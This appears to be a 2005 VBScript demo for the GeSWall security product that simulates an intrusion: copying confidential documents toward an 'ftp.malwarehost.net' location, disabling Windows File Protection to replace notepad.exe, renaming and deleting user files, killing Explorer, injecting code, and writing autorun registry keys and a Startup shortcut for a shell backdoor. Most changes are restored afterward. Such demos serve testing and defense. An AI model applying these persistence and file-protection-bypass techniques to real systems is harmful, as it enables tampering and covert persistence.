'
' GeSWall Protection Demo
'
' (C) Copyright 2005, GentleSecurity
'
'
set Shell = CreateObject("Wscript.shell")
set FileSystem = CreateObject("Scripting.FileSystemObject")
set Network = CreateObject("WScript.Network")
dim AdminUser
dim WorkDir

VerboseOutput = false
UseToolDll = false

Main

function RunCmds(Caption, Cmd, Wait, Verbose)

	on Error Resume Next

	if not IsNull(Caption) then Wscript.StdOut.Write Caption & " ."
	for i = 0 to UBound(Cmd)
		if Verbose = true then Wscript.Echo Cmd(i)
		Result = Shell.Run("cmd.exe /c " & Cmd(i), 0, Wait)
		if ( Err.Number <> 0 or Result <> 0 ) then
			On Error GoTo 0
			if not IsNull(Caption) then Wscript.Echo ". Failed"
			RunCmds = false
			exit function
		end if
	next

	On Error GoTo 0
	if not IsNull(Caption) then Wscript.Echo ". Success"
	RunCmds = true

end function

sub PressKeys(Key, Delay, ProcId)
	if ProcId <> 0 then Shell.AppActivate ProcId
	for i = 0 to UBound(Key)
		Shell.SendKeys Key(i)
		WScript.Sleep Delay
	next
end sub

function GetProcId(ProcName)
	GetProcId = 0
	on Error Resume Next
	for each Process in GetObject("winmgmts:").InstancesOf("win32_process")
		if Process.Name = ProcName then
    		GetProcId = Process.ProcessID
			exit for
	    end if
   	next
	On Error GoTo 0
end function


sub InfoDisclosure()
	' Copy confidential file
	Attack1 = false
	dim RootDir

	'on Error Resume Next

	RootDir = WorkDir + "\MalwareHost"
	'Wscript.Echo RootDir
	if FileSystem.FolderExists(RootDir) then FileSystem.DeleteFolder RootDir

	FileSystem.CreateFolder RootDir

	ConfidentialDir = Shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal") + "\Confidential"
	Report = "    - Copy ""My Documents\Confidential"""
	Result = RunCmds("    - Copy ""My Documents\Confidential""", Array("copy /Y """ & ConfidentialDir & "\*.*"" """ & RootDir & """"), true, VerboseOutput)
	if Result = false then
        FileSystem.DeleteFolder RootDir
		exit sub
	end if
 
	WScript.Sleep 2000
	WScript.Echo "Check result.."
	WScript.Sleep 2000
	on Error Resume Next
	Shell.Run RootDir, 1
	WScript.Sleep 500
	Shell.SendKeys "{TAB}ftp://ftp.malwarehost.net"
	WScript.Sleep 3000
	Shell.SendKeys "%{F4}"

	FileSystem.DeleteFolder RootDir
	On Error GoTo 0

end sub

sub InfectNotepad

	if IsAdminUser <> true then exit sub

	Wscript.Echo "    - Administrative rights, infect notepad.exe by virus (replace by calc.exe)"
	Report =     "          o Disable Window File Protection"

	TargetFile = FileSystem.GetSpecialFolder(1) & "\notepad.exe"
	ReplacementFile = FileSystem.GetSpecialFolder(1) & "\calc.exe"
	BackupFile = TargetFile & "_original"

	Result = RunCmds("          o Disable Window File Protection", Array("rundll32.exe sfc_os.dll,#5 0 " & TargetFile & " -1"), true, VerboseOutput)
	if Result = false then exit sub


	AttackCmds = Array(	"copy " & TargetFile & " " & BackupFile, "copy " & ReplacementFile & " " & TargetFile, "fc /b " & Targetfile & " " & ReplacementFile)
	RestoreCmds = Array("rundll32.exe sfc_os.dll,#5 0 " + TargetFile + " -1", "del " & TargetFile, "move " + BackupFile + " " + TargetFile)

	Result = RunCmds("          o Replace notepad.exe", AttackCmds, true, VerboseOutput)
	if Result = false then 
		RunCmds null, Array("del " & BackupFile), true, false
		exit sub
	end if

	WScript.Sleep 2000
	WScript.Echo "Check result.."
	WScript.Sleep 2000
	PressKeys Array("^{ESC}","R"), 500, 0
	WScript.Sleep 1000
	PressKeys Array("n","o","t","e","p","a","d"), 500, 0
	WScript.Sleep 2000
	Shell.SendKeys "~"
	WScript.Sleep 3000
	Shell.SendKeys "%{F4}"
	WScript.Echo "Restore replaced file"
	RunCmds null, RestoreCmds, true, false

end sub

sub DeleteFiles
	Wscript.Echo "    - Delete(rename) files in ""My Documents"""
	MyDocDir = Shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal")
	'
	' Get list of files
	ListFileName = WorkDir + "\" + FileSystem.GetTempName()
	Result = RunCmds(null, Array("dir /b /a:-d-h """ & MyDocDir & "\*.*"" > """ & ListFileName & """"), true, VerboseOutput)

	on Error Resume Next
	set ListFile = FileSystem.OpenTextFile(ListFileName, 1, false)
	i = 0
	dim FileName(3)               
	do while ListFile.AtEndOfStream <> true and i < 3
        FileName(i) = ListFile.ReadLine
		i = i + 1
  	loop
    ListFile.Close
	FileSystem.DeleteFile ListFileName
	On Error GoTo 0
	if i = 0 then
		Wscript.Echo "No files in " & MyDocDir
		exit sub
	end if
	'
	' Delete(rename) i files
	'
	dim Delete(3), Restore(3)
	for j = 0 to i-1
		Delete(j) = "move """ & MyDocDir & "\" & FileName(j) & """ """ & MyDocDir & "\#deleted_" & FileName(j) & """"
		Restore(j) = "move """ & MyDocDir & "\#deleted_" & FileName(j) & """ """ & MyDocDir & "\" & FileName(j) & """"
	next
	
	Result = RunCmds("          o Rename " & CStr(i) & " files", Delete, true, VerboseOutput)
	if Result = false then exit sub

	WScript.Echo "Check result.."
	WScript.Sleep 2000
	'
	' Pop-up explorer
	'
	on Error Resume Next
	Shell.Run """" & MyDocDir & """", 1
	WScript.Sleep 5000
	Shell.SendKeys "%{F4}"
	On Error GoTo 0

	WScript.Echo "Restore files"
	RunCmds null, Restore, true, false
end sub

sub InjectCode
	Result = RunCmds("    - Inject crash code in to Explorer ", Array("rundll32 gswtest.dll,TestCodeInject"), true, VerboseOutput)
	if Result = false then exit sub
	WScript.Sleep 2000
end sub

sub SendMessages
	Wscript.StdOut.Write "    - Sending windows keystroke messages to delete documents ."
	ConfidentialDir = """" & Shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal") & """"
	WScript.Sleep 2000
	Delay = 1000
	on Error Resume Next
	Shell.Run ConfidentialDir, 1
	if Err.Number <> 0 then
		Delay = 0
	end if
	WScript.Sleep Delay
	PressKeys Array("{DOWN}","{DEL}","{RIGHT}","{LEFT}","{RIGHT}","{ESC}"), Delay, 0
	Shell.SendKeys "%{F4}"
	On Error GoTo 0
	if Delay = 0 then
		Wscript.Echo ". Failed"
	else
		Wscript.Echo ". Success"
	end if	
end sub

sub WmiKillProcess
	Wscript.StdOut.Write "    - Terminating Windows Explorer process ."
	ProcessId = 0
	on Error Resume Next
	for each Process in GetObject("winmgmts:{impersonationLevel=impersonate,(Debug)}").InstancesOf("win32_process")
		if Err.Number <> 0 then exit for
		if Process.Name = "explorer.exe" then
			ProcessId = Process.ProcessID
    		Process.Terminate ProcessId
			Wscript.Echo " .. Success"
			exit for
		end if
	next
	On Error GoTo 0
	if ProcessId = 0 then 
		Wscript.Echo ". Failed"
		exit sub
	end if

	' wait for explorer restart
'	on Error Resume Next
	while true
		for each Process in GetObject("winmgmts:{impersonationLevel=impersonate,(Debug)}").InstancesOf("win32_process")
			if Err.Number <> 0 then exit for
			if Process.Name = "explorer.exe" and ProcessId <> Process.ProcessID then exit sub
		next
		Wscript.Sleep 300
	wend
'	On Error GoTo 0
	
end sub

function Modify()
	FileModify = 1

	InfectNotepad
	DeleteFiles
	if UseToolDll then InjectCode
	SendMessages
	WmiKillProcess

end function

function InstallBackdoor
	InstallBackdoor = 1
	Wscript.Echo "    - Installing a command shell backdoor"

	' files should be in temp dir already
	Value = WorkDir + "\rundll32.exe gswtest.dll,TestShell"

	Wscript.StdOut.Write "          o Setting auto-run link to backdoor in registry ."

	Dim KeyName(3)
	KeyName(0) = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
	KeyName(1) = "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
	KeyName(2) = "HKCU\Software\Policies\Microsoft\Windows\System\Scripts"
	KeyName(3) = "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows"
	Dim ValueName(3)
	ValueName(0) = "gswdemo"
	ValueName(1) = "Shell"
	ValueName(2) = "Logon"
	ValueName(3) = "Load"

	Success = 0

	on Error Resume Next
	for i = 0 to UBound(ValueName)
		FullName = KeyName(i) + "\" + ValueName(i)
		Original = Shell.RegRead(FullName)
		Err.Clear
		Shell.RegWrite FullName, Value
		' check result from other process to avoid redirect effect
		Result = RunCmds(null, Array("reg query """ & KeyName(i) & """ /v " & ValueName(i) & " | find ""gswtest.dll"""), true, false)
		if Result = true then 
			Success = Success + 1
			' restore a value
			if IsEmpty(Original) then 
				Shell.RegDelete FullName
			else
				Shell.RegWrite FullName, Original
			end if
		end if
		Original = empty
	next

	if Success = 0 then
		Wscript.Echo ". Failed"
	else
		Wscript.Echo ". Success"
	end if
	WScript.Sleep 2000

	Wscript.StdOut.Write "          o Creating Startup menu shortcut to backdoor ."
	LinkName = Shell.SpecialFolders("Startup") & "\gswdemobd.lnk"
	set Link = Shell.CreateShortcut(LinkName)
	Link.Arguments = ""
	Link.Description = "GswDemo backdoor"
	Link.HotKey = ""
	Link.IconLocation = "cmd.exe, 0"
	Link.TargetPath = Value
	Link.WindowStyle = 3
	Link.WorkingDirectory = WorkDir

	Err.Clear
	Link.Save

	if Err.Number <> 0 then
		Wscript.Echo ". Failed"
	else
		Wscript.Echo ". Success"
		' restore
		FileSystem.DeleteFile LinkName
	end if
	WScript.Sleep 2000

	On Error GoTo 0
	
end function

function Init
	Init = false

	UseToolDll = false
	on Error Resume Next
	FileSystem.CopyFile FileSystem.GetSpecialFolder(1) & "\rundll32.exe", WorkDir & "\"
	On Error GoTo 0

	Wscript.Sleep 1000
	Init = true
end function

sub Cleanup
	on Error Resume Next
	FileSystem.DeleteFolder WorkDir & "\MalwareHost"
	FileSystem.DeleteFile WorkDir & "\rundll32.exe"
	FileSystem.DeleteFile WorkDir & "\gswtest.dll"
	On Error GoTo 0
end sub

sub AllAttacks
	Wscript.Echo chr(10) & "Intrusion simulation... attacker's remote shell has been started." & chr(10)
	Wscript.Echo "Machine name: " & Network.ComputerName
	Wscript.Echo "Running on behalf of " & Network.UserDomain & "\" & Network.UserName & " account" 
	if AdminUser then
		Wscript.Echo "Administrative rights"
	else
		Wscript.Echo "No administrative rights"
	end if
	WorkDir = Shell.CurrentDirectory
	Wscript.Echo "Current directory: " & WorkDir

	Wscript.Echo
	Wscript.Sleep 1000
	
	Init

	Wscript.Echo " * Information Disclosure Attacks"
	InfoDisclosure()
	Wscript.Echo

	Wscript.Echo " * Modify/Delete Attacks"
	Modify()
	Wscript.Echo

	Wscript.Echo " * Install a Backdoor Attacks"
	Result = RunCmds(null, "rundll32.exe gswtest.dll,TestDisableRedirect", true, false)

	InstallBackDoor()
	Wscript.Echo

	Cleanup

	Wscript.Quit 0
end sub

function IsAdminUser()
	IsAdminUser = false

	on Error Resume Next
	FileName = FileSystem.GetSpecialFolder(0) & "\#gswdemo.tmp"
	set File = FileSystem.CreateTextFile(FileName, true)
	if ( Err.Number = 0 ) then
		IsAdminUser = true
		File.Close
		set File = FileSystem.GetFile(FileName)
		File.Delete
	end if
	On Error GoTo 0
end function

sub CreateRestorePoint
	on Error Resume Next
	set SysRestore = GetObject("winmgmts:\\.\root\default").Get("SystemRestore")
	SysRestore.CreateRestorePoint "GeSWall Demo restore", 10, 100
	On Error GoTo 0
end sub


sub Main
	CreateRestorePoint

	dim ArgsCount
	Set Args = Wscript.Arguments
	ArgsCount = Args.count
	AdminUser = IsAdminUser()

	if ArgsCount = 0 then
		Shell.Run "cmd.exe /k cscript.exe /nologo """ & WScript.ScriptFullName & """ -ALL"
		Wscript.Quit 0
	end if

	for i=0 to ArgsCount-1
		if UCase(Args(i)) = "-ALL" then
			AllAttacks
		elseif UCase(Args(i)) = "-HELP" then
			Wscript.Echo "usage: gswdemo.vbs [-FULL|-HELP]"
			Wscript.Quit 1
		end if
	Next

	Wscript.Echo "Invalid parameters"
	Wscript.Quit 1

end sub